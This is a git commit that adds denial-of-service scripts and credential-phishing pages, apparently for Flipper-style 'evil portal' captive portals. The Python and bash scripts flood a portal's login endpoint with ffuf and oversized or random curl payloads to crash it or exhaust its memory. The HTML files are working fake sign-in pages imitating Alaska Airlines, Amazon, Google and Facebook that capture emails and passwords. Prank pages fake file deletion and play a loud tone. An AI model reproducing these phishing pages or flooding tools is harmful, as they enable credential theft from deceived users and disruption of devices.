migration

This commit is contained in:
2026-05-26 21:24:00 -06:00
parent 661385fb4d
commit 9fc3492c57
107 changed files with 5691 additions and 2989 deletions
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
View File
Regular → Executable
View File
Regular → Executable
View File
+23
View File
@@ -0,0 +1,23 @@
#!/bin/bash
wifi_device=wlan1
ssid=Guest-WiFi
host="192.168.4.1"
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
sudo nmcli d disconnect $wifi_device > /dev/null
sudo nmcli dev wifi rescan > /dev/null
echo -e "\nCashing This Evil Portal With No Survivors\n"
sudo nmcli device wifi connect $ssid ifname $wifi_device
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
echo -e "\n\nPinging To Confirm Kill...\n"
ping -c 4 $host
echo -e "\nThat Was Big Payload (4U)\nRIP"
+18
View File
@@ -0,0 +1,18 @@
import subprocess
# host = "http://192.168.4.1"
host = "http://10.0.0.80"
charlen = 2000
char = "%FF"
curl_cmd = "curl --silent"
payload = char*charlen
uri = f"{host}/get.php?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}'"
print(f"\nCrashing This Evil Portal With No Survivors Using: {charlen} {char}s\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
print("That's A Big Load (4U)\n\nDone")
+23
View File
@@ -0,0 +1,23 @@
#!/bin/bash
wifi_device=wlan1
ssid=Guest-WiFi
host="192.168.4.1"
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
sudo nmcli d disconnect $wifi_device > /dev/null
sudo nmcli dev wifi rescan > /dev/null
echo -e "\nCashing This Evil Portal With No Survivors\n"
sudo nmcli device wifi connect $ssid ifname $wifi_device
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
echo -e "\n\nPinging To Confirm Kill...\n"
ping -c 4 $host
echo -e "\nThat Was Big Payload (4U)\nRIP"
+40
View File
@@ -0,0 +1,40 @@
import datetime
import subprocess
import time
# host = "10.0.0.80"
host = "192.168.4.1"
rangei = 65536 # FFFF+1
currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
for x in range(rangei):
hexcode = hex(x)[2:]
if x > 255:
urlformatted_raw = "%{:04x}".format(x)
hexformatted_raw = "0x{:04x}".format(x)
urlformatted = f"{urlformatted_raw[:3]}%{urlformatted_raw[3:]}"
else:
urlformatted_raw = "%{:04x}".format(x)
urlformatted = "%{:02x}".format(x)
hexformatted = "0x{:02x}".format(x)
unicode_formatted = "%u{:04x}".format(x)
printformatted = f"\\x{hexcode}"
print(f"Running {urlformatted} and {urlformatted_raw} and {unicode_formatted}")
p = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted}email&password=password{urlformatted}password' >> fuzzing-results/urlformatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
p1 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted_raw}email&password=password{urlformatted_raw}password' >> fuzzing-results/urlformatted_raw-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
p2 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{unicode_formatted}email&password=password{unicode_formatted}password' >> fuzzing-results/unicode_formatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
(output, err) = p1.communicate()
(output, err) = p2.communicate()
p_status = p.wait()
p_status1 = p1.wait()
p_status2 = p2.wait()
time.sleep(0.225)
print(f"\n\nlog written to fuzzing-results/X-{rangei}-{datestamp}.txt")
+43
View File
@@ -0,0 +1,43 @@
import datetime
import subprocess
import time
# host = "http://10.0.0.80"
# host = "http://192.168.4.1"
host = "http://172.0.0.1"
charlen = 750
char = "%00%FF"
prepend = ""
append = ""
currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
outfile = f"fuzzing-results/hex-sniper-rifle-{datestamp}.txt"
# -i, --include - include header in output
# -I, --head - HEAD http method
# -s, --silent - supresses progress and errors
# -S, --show-error - when used with -s/--silent, displays errors
# -D <file>, --dump-header <file> - saves response headers to <file>
# -f, --fail - fail silently on HTTP error
# -X, --request - request method, defaults to GET
# -H <header:value>, --header <header:value> - sets header, multiple are allowed
# -v, --verbose - show request headers
# -o <file>, --output <file> - write output to file
# curl_cmd = "curl -i -s -S -v"
curl_cmd = "curl --include --silent --show-error"
chars = char*charlen
payload = f"{prepend}{chars}{append}"
uri = f"{host}/get.php?email={payload}&password=holdstill"
command = f"{curl_cmd} '{uri}' >> {outfile}"
print(f"\n\nRunning {char}*{charlen} on email\nPrepend: {prepend}\nAppend: {append}\nOutfile: {outfile}")
with open(outfile, "a") as log:
log.write(f"\n\nChars: {char}*{charlen} - Prepend: {prepend} - Append: {append}\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
print(f"\n\nlog written to {outfile}")
+46
View File
@@ -0,0 +1,46 @@
import datetime
import subprocess
import time
# host = "http://10.0.0.80"
# host = "http://192.168.4.1"
host = "http://172.0.0.1"
rangei = 10000
char = "%00%FF"
# char = "%00"
prepend = ""
append = ""
#append = "%0a%00%0a"
currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
outfile = f"fuzzing-results/chars-{rangei}-{datestamp}.txt"
# -i, --include - include header in output
# -I, --head - HEAD http method
# -s, --silent - supresses progress and errors
# -S, --show-error - when used with -s/--silent, displays errors
# -D <file>, --dump-header <file> - saves response headers to <file>
# -f, --fail - fail silently on HTTP error
# -X, --request - request method, defaults to GET
# -H <header:value>, --header <header:value> - sets header, multiple are allowed
# -v, --verbose - show request headers
# -o <file>, --output <file> - write output to file
# curl_cmd = "curl -i -s -S -v"
curl_cmd = "curl --include --silent --show-error"
for x in range(rangei+1):
chars = char*x
payload = f"{prepend}{chars}{append}"
uri = f"{host}/get?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}' >> {outfile}"
print(f"Running {x}/{rangei} chars ({char})\n\tPrepend: {prepend}\n\tAppend: {append}\nOutfile: {outfile}\n")
with open(outfile, "a") as log:
log.write(f"\n\n{x}/{rangei} - Char: {char} - Prepend: {prepend} - Append: {append}\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
print(f"\n\nlog written to {outfile}")
+1
View File
@@ -0,0 +1 @@
bash connect-wifi && python sd-card-murder.py
+29
View File
@@ -0,0 +1,29 @@
import subprocess
import os
# from requests.utils import requote_uri
import urllib.parse
from random import randbytes
# host = "http://192.168.4.1" # cyd version
host = "http://172.0.0.1" # flipper version
# host = "http://10.0.0.80"
# rangei = 10000
# charlen = 2012 # to crash
charlen = 1400 # to flood flipper mem(?)
# charlen = 700 # to flood filesysted
curl_cmd = "curl --include --silent --show-error"
x = 0
#for x in range(rangei+1):
while True:
payload = urllib.parse.quote(randbytes(charlen))
uri = f"{host}/get?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}'"
print(f"{x} of infinite sets of {charlen} random bytes")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
x=x+1
print(f"\n\nThe End")
Regular → Executable
View File
+89
View File
@@ -0,0 +1,89 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.login-container {
background-color: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
}
.login-container h1, .login-container h2 {
text-align: center;
}
.login-container button {
width: 100%;
background-color: green;
}
#logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 10px;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 8px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
</style>
<script>
window.addEventListener('DOMContentLoaded', (event) => {
const form = document.getElementById('email-form-step');
form.addEventListener('submit', (event) => {
event.preventDefault();
const emailInput = document.getElementById('email-input');
const passwordInput = document.getElementById('password-input');
const email = emailInput.value;
const password = passwordInput.value;
const url = `/get?email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`;
window.location.href = url;
});
});
</script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-lg-4 offset-lg-4 login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 301 92" width="93.75" height="30">
<g fill="#00385f">
<path d="m148 4-35 58c-3 5-5 11-6 17H94c1-7 4-14 10-24l23-40c5-8 10-11 19-11h2zm10 31c-18 0-28 10-38 32-2 6-4 13 5 13 4 0 12-3 17-7v6h12c0-5 2-11 6-18l15-25-17-1m-13 29c-3 3-7 6-11 6-3 0-3-3-2-6 8-14 15-21 25-21h1l-13 21zm138-29c-17 0-28 10-37 32-3 6-4 13 4 13 4 0 12-3 17-7v6h12c1-5 2-11 6-18l15-25-17-1m-13 29c-2 3-7 6-11 6-3 0-3-3-1-6 7-14 15-21 24-21h2l-14 21z"/>
<path d="M243 91h-4c-5 0-9-3-11-8l-6-23-11 19h-13l36-61c5-8 10-11 18-11h2l-24 41 18-13h14l-30 21 11 35zM124 1c-12 0-19 3-31 11L53 42H27c-8 0-14 0-19 4l-6 7 37-2L0 79h17l40-28 13-1c9 0 15-8 15-8H69l32-24-23 39c-5 9-8 15-9 22h14l6-18 33-54 4-6h-2zm64 46c0 2 1 2 3 4l4 2c4 3 5 7 5 10-1 9-8 17-22 17l-17-2 6-9 12 1c5 0 7-2 7-4 1-1 0-3-2-4l-3-3c-5-3-6-6-6-10 1-8 11-14 24-14l13 1-5 9-12-1c-4 0-6 1-7 3"/>
</g>
</svg>
</div>
<form id="email-form-step">
<h1>Sign in</h1>
<h2>Use your Alaska Airlines Account</h2>
<div class="form-group">
<input id="email-input" name="email" type="text" class="form-control" placeholder="User ID or Mileage Plan number" required>
</div>
<div class="form-group">
<input id="password-input" name="password" type="password" class="form-control" placeholder="Password" required>
</div>
<div class="form-group">
<button class="btn btn-primary" type="submit">Next</button>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
+100
View File
@@ -0,0 +1,100 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo {
text-align: center;
margin-bottom: 30px;
}
.form-container {
background: #fff;
border: 1px solid #ddd;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #f0c14b;
border: none;
color: #333;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.submit-btn:hover {
background: #d8ad40;
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" viewBox="0 0 120 60">
<path fill="#f90" d="M72 40.7a38.9 38.9 0 0 1-47.7-3.4c-.5-.5 0-1.2.6-.8a52.8 52.8 0 0 0 46.3 2.8c1-.4 1.8.7.8 1.4m2.5-2.8c-.8-1-5-.4-6.8-.2-.6 0-.7-.4-.2-.8 3.3-2.3 8.8-1.6 9.4-.8s-.1 6.2-3.3 8.8c-.4.4-.9.2-.7-.3.7-1.8 2.3-5.7 1.6-6.7"/>
<path fill="#221f1f" d="M67.8 20.4v-2.2a.6.6 0 0 1 .6-.6h10.1c.4 0 .6.2.6.6V20c0 .3-.2.8-.7 1.4L73 29.1c2 0 4 .2 5.8 1.2.4.2.5.6.5.9v2.4c0 .3-.3.7-.7.5a11.7 11.7 0 0 0-10.8 0c-.3.2-.7-.1-.7-.5v-2.3c0-.4 0-1 .4-1.5l6.1-8.8h-5.3c-.3 0-.6-.2-.6-.6m-37 14.2h-3.1a.6.6 0 0 1-.6-.5V18c0-.2.3-.5.6-.5h3c.2 0 .5.3.5.6v2c.8-2 2.2-3 4.1-3 2 0 3.2 1 4 3a4.5 4.5 0 0 1 7.9-1.2c1 1.4.8 3.3.8 5v10c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6V22.6c-.3-1-1-1.3-1.9-1.3-.7 0-1.5.5-1.8 1.3s-.3 2.1-.3 3V34c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6v-8.4c0-1.8.3-4.4-1.9-4.4-2.2 0-2.1 2.6-2.1 4.4V34c0 .3-.3.6-.6.6m57.2-17.3c4.6 0 7 4 7 9 0 4.8-2.7 8.6-7 8.6-4.5 0-7-3.9-7-8.8 0-5 2.5-8.8 7-8.8m0 3.2c-2.3 0-2.4 3.1-2.4 5s0 6.2 2.4 6.2 2.5-3.4 2.5-5.4c0-1.4 0-3-.5-4.2-.3-1.1-1-1.6-2-1.6m13 14.1h-3a.6.6 0 0 1-.6-.6V18.1c0-.2.3-.5.6-.5h2.9c.2 0 .4.2.5.5v2.4c1-2.2 2.1-3.2 4.3-3.2a4 4 0 0 1 3.6 1.9c.8 1.2.8 3.4.8 5v10c0 .2-.3.4-.6.4h-3.1a.6.6 0 0 1-.5-.5v-8.6c0-1.8.2-4.3-2-4.3-.7 0-1.4.5-1.8 1.3a7 7 0 0 0-.5 3V34c0 .3-.3.6-.6.6M59.7 27c0 1.2 0 2.2-.6 3.3-.5.9-1.3 1.4-2.1 1.4-1.2 0-2-1-2-2.2 0-2.7 2.4-3.2 4.7-3.2v.7m3.1 7.5c-.2.2-.5.2-.7.1-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5.1 2.2-2.6 0-4.6-1.6-4.6-4.8a5 5 0 0 1 3.3-5c1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.7-.4-2.3-.4-.6-1-.8-1.7-.8-1.2 0-2.3.6-2.5 1.9 0 .2-.3.5-.6.5l-3-.3c-.2 0-.5-.2-.4-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6C64.2 20 64 21.9 64 24v4.8c0 1.5.6 2.1 1.2 2.9.2.3.2.6 0 .8l-2.4 2M19.1 27c0 1.2 0 2.2-.6 3.3-.5.9-1.2 1.4-2.1 1.4-1.2 0-1.9-.9-1.9-2.2 0-2.7 2.4-3.2 4.6-3.2v.7m3.1 7.6c-.2.1-.5.2-.7 0-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5 2.2-2.7 0-4.7-1.6-4.7-4.8 0-2.5 1.4-4.2 3.3-5 1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.6-.4-2.3-.3-.5-1-.8-1.7-.8-1.2 0-2.2.6-2.5 1.9 0 .3-.2.5-.5.5l-3-.3c-.3 0-.6-.2-.5-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6 1.5 1.4 1.4 3.3 1.4 5.3v4.8c0 1.5.6 2.1 1.1 2.9.2.3.3.6 0 .8l-2.3 2"/>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in</h1>
<h2>Use your Amazon Account</h2></center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>
+146
View File
@@ -0,0 +1,146 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style>
body {
font-family: sans-serif;
}
.login-container {
width: 85%;
margin: auto;
padding: 20px;
border-radius: 5px;
margin-top: 10px;
}
#logo {
margin: auto;
width: fit-content;
}
.g-h1 {
font-size: 25px;
text-align: center;
font-weight: 200;
margin: auto;
}
.g-h2 {
font-size: 15px;
text-align: center;
font-weight: 200;
margin: auto;
}
.g-input {
width: 95%;
height: 30px;
background-color: transparent;
font: 400 16px Roboto, RobotoDraft, Helvetica, Arial, sans-serif;
border-width: 0.5px;
border-color: rgba(0, 0, 0, 0.6);
border-radius: 4px;
font-size: 16px;
padding: 13px 9px;
margin-bottom: 10px;
}
.create-account {
font-size: smaller;
color: #1a73e8;
text-decoration: none;
font-family: "Google Sans", Roboto, Arial, sans-serif;
font-size: 15px;
letter-spacing: 0.25px;
}
.gbtn-primary {
min-width: 64px;
border: none;
margin-top: 6px;
margin-bottom: 6px;
height: 36px;
border-radius: 4px;
font-family: "Google Sans", Roboto, Arial, sans-serif;
font-size: 15px;
font-weight: 500;
padding: 0 24px 0 24px;
box-sizing: inherit;
background-color: var(--gm-fillbutton-container-color, rgb(26, 115, 232));
color: #fff;
}
.button-container {
display: flex;
justify-content: space-between;
align-items: center;
}
.text {
font-family: Roboto, "Noto Sans Myanmar UI", Arial, sans-serif;
white-space: normal;
color: #5f6368;
font-size: 14px;
line-height: 1.4286;
padding-bottom: 3px;
padding-top: 9px;
box-sizing: inherit;
}
.txt {
text-decoration: none;
border-radius: 4px;
color: #1a73e8;
}
</style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head>
<body>
<div class="login-container">
<div id="logo">
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g id="qaEJec">
<path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
</g>
<g id="YGlOvc">
<path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
</g>
<g id="BWfIk">
<path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
</g>
<g id="e6m3fd">
<path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
</g>
<g id="vbkDmc">
<path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
</g>
<g id="idEJde">
<path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
</g>
</svg>
</div>
<form action="/get" id="email-form-step">
<h4></h4>
<h1 class="g-h1">Sign in</h1>
<h3></h3>
<h2 class="g-h2">Use your Google Account</h2>
<h6></h6>
<div class="login-content">
<input name="email" type="text" class="g-input" placeholder="Email or phone" required>
<input name="password" type="password" class="g-input" placeholder="Enter your password" required>
<div class="text">Not your computer? Use Guest mode to sign in privately. <a href="#" class="txt" aria-label="a">Learn more</a>
</div>
<h5></h5>
<div class="button-container">
<a class="create-account" href="caca.html">Create account</a>
<button class="gbtn-primary" type="submit">Next</button>
</div>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
File diff suppressed because one or more lines are too long
+83
View File
@@ -0,0 +1,83 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
color: #1d2129;
}
.login-container {
width: 350px;
background-color: white;
box-shadow: 0px 0px 5px 0px rgba(0,0,0,0.20);
border-radius: 5px;
padding: 10px 20px;
}
#logo {
display: block;
margin: 0 auto;
margin-bottom: 20px;
}
h1 {
font-size: 28px;
font-weight: normal;
margin-bottom: 10px;
text-align: center;
}
h2 {
font-size: 16px;
font-weight: normal;
color: #606770;
margin-bottom: 20px;
text-align: center;
}
input[type=text], input[type=password] {
width: 100%;
padding: 15px;
margin: 5px 0 10px 0;
display: inline-block;
border: 1px solid #ccc;
box-sizing: border-box;
border-radius: 5px;
}
button {
background-color: #4267B2;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
cursor: pointer;
width: 100%;
border-radius: 5px;
}
button:hover {
opacity: 0.8;
}
</style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head>
<body>
<div class="login-container">
<svg id="logo" viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g>
<path fill="#1877F2" d="M22 2H2C.9 2 0 2.9 0 4v16c0 1.1.9 2 2 2h9v-7h-3V11h3V9c0-2.8 2.2-5 5-5h3v3h-3c-1.1 0-2 .9-2 2v2h5l-1 3h-4v7h6c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z"></path>
</g>
</svg>
<form action="/get" method="get">
<h1>Sign in</h1>
<h2>Use your Facebook Account</h2>
<label for="email"><b>Email</b></label>
<input type="text" placeholder="Enter Email" name="email" required>
<label for="password"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="password" required>
<button type="submit">Sign in</button>
</form>
</div>
</body>
</html>
+61
View File
@@ -0,0 +1,61 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
* {
box-sizing: border-box;
}
body {
background-color: #000;
color: #0F0;
font-family: 'Courier New', Courier, monospace;
margin: 0;
padding: 0;
overflow: hidden;
}
#terminal {
position: absolute;
width: 100%;
height: 100vh;
padding: 20px;
white-space: pre-wrap;
overflow-wrap: break-word;
animation: type 20s steps(80, end);
}
@keyframes type {
from {width: 0;}
}
</style>
<title>Hacking Simulation</title>
</head>
<body>
<div id="terminal"></div>
<script>
const lines = [
'Initiating connection...',
'Bypassing security protocols...',
'Accessing system...',
'Disabling antivirus...',
'Initiating data transfer...',
'Deleting files...',
'Formatting drive...',
'Hacking successful.'
];
let i = 0;
let txt = '';
let speed = 100;
function typeWriter() {
if (i < lines.length) {
txt += lines[i] + "\n";
document.getElementById("terminal").innerHTML = txt;
i++;
setTimeout(typeWriter, speed);
}
}
typeWriter();
</script>
</body>
</html>
+58
View File
@@ -0,0 +1,58 @@
<!DOCTYPE html>
<html>
<head>
<title>Captive Portal</title>
<style>
body {
background-color: #000;
color: #0F0;
font-family: 'Courier New', Courier, monospace;
}
#terminal {
white-space: pre;
overflow: hidden;
margin: 0 auto;
padding: 10px;
}
#connectBtn {
display: block;
position: absolute;
left: 20px;
background: #0F0;
padding: 10px 20px;
color: #000;
text-decoration: none;
margin-top: 20px;
}
</style>
</head>
<body>
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
<div id="terminal"></div>
<script>
var content = [
"Accessing device...",
"Device accessed ✔",
"Deleting files...",
"Files deleted ✔",
"Formatting device...",
"Device formatted ✔. \n\n",
"(⁠☞⁠ ͡⁠°⁠ ͜⁠ʖ⁠ ͡⁠°⁠)⁠☞",
"ᕙ⁠(͡⁠°⁠‿⁠ ͡⁠°⁠)⁠ᕗ",
/* You should add the rest of your ASCII art here. */
];
function startHack() {
var terminal = document.getElementById('terminal');
var counter = 0;
document.getElementById('connectBtn').style.display = 'none';
var intervalId = setInterval(function() {
terminal.textContent += content[counter++] + '\n';
if (counter === content.length) {
clearInterval(intervalId);
}
}, 1000);
}
</script>
</body>
</html>
+71
View File
@@ -0,0 +1,71 @@
<!DOCTYPE html>
<html>
<head>
<title>Captive Portal</title>
<style>
body {
background-color: #000;
color: #0F0;
font-family: 'Courier New', Courier, monospace;
}
#terminal {
white-space: pre;
overflow: hidden;
margin: 0 auto;
padding: 10px;
}
#connectBtn {
display: block;
position: absolute;
left: 20px;
background: #0F0;
padding: 10px 20px;
color: #000;
text-decoration: none;
margin-top: 20px;
}
</style>
</head>
<body>
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
<div id="terminal"></div>
<script>
var content = [
"Accessing device...",
"Device accessed ✔",
"Deleting files...",
"Files deleted ✔",
"Formatting device...",
"Device formatted ✔. \n\n",
"(⁠☞⁠ ͡⁠°⁠ ͜⁠ʖ⁠ ͡⁠°⁠)⁠☞",
"ᕙ⁠(͡⁠°⁠‿⁠ ͡⁠°⁠)⁠ᕗ",
/* You should add the rest of your ASCII art here. */
];
function startHack() {
var terminal = document.getElementById('terminal');
var counter = 0;
document.getElementById('connectBtn').style.display = 'none';
var intervalId = setInterval(function() {
terminal.textContent += content[counter++] + '\n';
if (counter === content.length) {
clearInterval(intervalId);
}
}, 1000);
// Creating the audio context
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
var oscillator = audioCtx.createOscillator();
oscillator.type = 'sine';
oscillator.frequency.value = 8000; // frequency in Hz
oscillator.connect(audioCtx.destination);
oscillator.start();
// Stop the frequency sound after 1 minute
setTimeout(function() {
oscillator.stop();
}, 60000); // 60000 milliseconds = 1 minute
}
</script>
</body>
</html>
+74
View File
@@ -0,0 +1,74 @@
<!DOCTYPE html>
<html>
<head>
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
body {
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
background-color: #f1f1f1;
}
.login-container {
background-color: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
#logo {
display: block;
margin: 0 auto 20px;
}
h1, h2 {
text-align: center;
margin-bottom: 20px;
}
.g-input {
display: block;
width: 100%;
padding: 10px;
margin-bottom: 10px;
border: 1px solid #ddd;
border-radius: 5px;
}
.gbtn-primary {
display: block;
width: 100%;
padding: 10px;
border: none;
border-radius: 5px;
background-color: #1a73e8;
color: #fff;
cursor: pointer;
}
</style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head>
<body>
<div class="login-container">
<form action="/get" id="email-form-step">
<div id="logo">
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g id="qaEJec"><path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path></g>
<g id="YGlOvc"><path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path></g>
<g id="BWfIk"><path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path></g>
